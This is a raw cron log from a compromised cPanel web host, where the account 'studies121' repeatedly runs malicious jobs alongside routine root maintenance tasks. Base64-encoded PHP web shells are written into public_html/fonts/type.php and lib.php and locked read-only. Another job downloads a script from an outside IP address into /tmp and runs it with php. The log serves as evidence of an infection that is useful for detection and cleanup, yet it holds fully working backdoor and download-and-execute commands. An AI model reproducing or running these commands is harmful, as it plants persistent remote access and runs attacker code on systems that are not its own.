Sep  9 12:38:01 ip-184-168-122-23 CROND[18364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:38:01 ip-184-168-122-23 CROND[18366]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:39:01 ip-184-168-122-23 CROND[18490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:39:01 ip-184-168-122-23 CROND[18491]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 12:39:01 ip-184-168-122-23 CROND[18493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:39:01 ip-184-168-122-23 CROND[18495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:39:01 ip-184-168-122-23 CROND[18496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:40:02 ip-184-168-122-23 CROND[18603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:40:02 ip-184-168-122-23 CROND[18604]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:40:02 ip-184-168-122-23 CROND[18606]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:40:02 ip-184-168-122-23 CROND[18609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:40:02 ip-184-168-122-23 CROND[18605]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:40:02 ip-184-168-122-23 CROND[18610]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:40:02 ip-184-168-122-23 CROND[18607]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:40:02 ip-184-168-122-23 CROND[18608]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 12:41:01 ip-184-168-122-23 CROND[18756]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:41:01 ip-184-168-122-23 CROND[18759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:41:02 ip-184-168-122-23 CROND[18760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:41:02 ip-184-168-122-23 CROND[18758]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:42:01 ip-184-168-122-23 CROND[18895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:42:01 ip-184-168-122-23 CROND[18899]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:42:01 ip-184-168-122-23 CROND[18901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:42:01 ip-184-168-122-23 CROND[18900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:42:01 ip-184-168-122-23 CROND[18903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:43:01 ip-184-168-122-23 CROND[19010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:43:01 ip-184-168-122-23 CROND[19011]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:43:01 ip-184-168-122-23 CROND[19012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:43:01 ip-184-168-122-23 CROND[19013]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:44:01 ip-184-168-122-23 CROND[19251]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:44:01 ip-184-168-122-23 CROND[19250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:44:01 ip-184-168-122-23 CROND[19255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:44:01 ip-184-168-122-23 CROND[19256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:44:01 ip-184-168-122-23 CROND[19253]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:45:01 ip-184-168-122-23 CROND[19407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:45:01 ip-184-168-122-23 CROND[19410]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  9 12:45:01 ip-184-168-122-23 CROND[19414]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:45:01 ip-184-168-122-23 CROND[19412]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:45:01 ip-184-168-122-23 CROND[19413]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:45:01 ip-184-168-122-23 CROND[19408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:45:01 ip-184-168-122-23 CROND[19409]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:46:01 ip-184-168-122-23 CROND[19556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:46:01 ip-184-168-122-23 CROND[19557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:46:01 ip-184-168-122-23 CROND[19560]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 12:46:01 ip-184-168-122-23 CROND[19567]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:46:01 ip-184-168-122-23 CROND[19565]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:46:01 ip-184-168-122-23 CROND[19568]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:46:01 ip-184-168-122-23 CROND[19566]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 12:47:01 ip-184-168-122-23 CROND[19711]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:47:01 ip-184-168-122-23 CROND[19712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:47:01 ip-184-168-122-23 CROND[19714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:47:01 ip-184-168-122-23 CROND[19715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:48:01 ip-184-168-122-23 CROND[19829]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:48:01 ip-184-168-122-23 CROND[19828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:48:01 ip-184-168-122-23 CROND[19827]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:48:01 ip-184-168-122-23 CROND[19830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:48:01 ip-184-168-122-23 CROND[19831]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:49:01 ip-184-168-122-23 CROND[19942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:49:01 ip-184-168-122-23 CROND[19944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 12:49:01 ip-184-168-122-23 CROND[19948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:49:01 ip-184-168-122-23 CROND[19947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:50:01 ip-184-168-122-23 CROND[20130]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 12:50:01 ip-184-168-122-23 CROND[20132]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:50:01 ip-184-168-122-23 CROND[20134]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 12:50:01 ip-184-168-122-23 CROND[20137]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 12:50:01 ip-184-168-122-23 CROND[20135]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:50:01 ip-184-168-122-23 CROND[20136]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
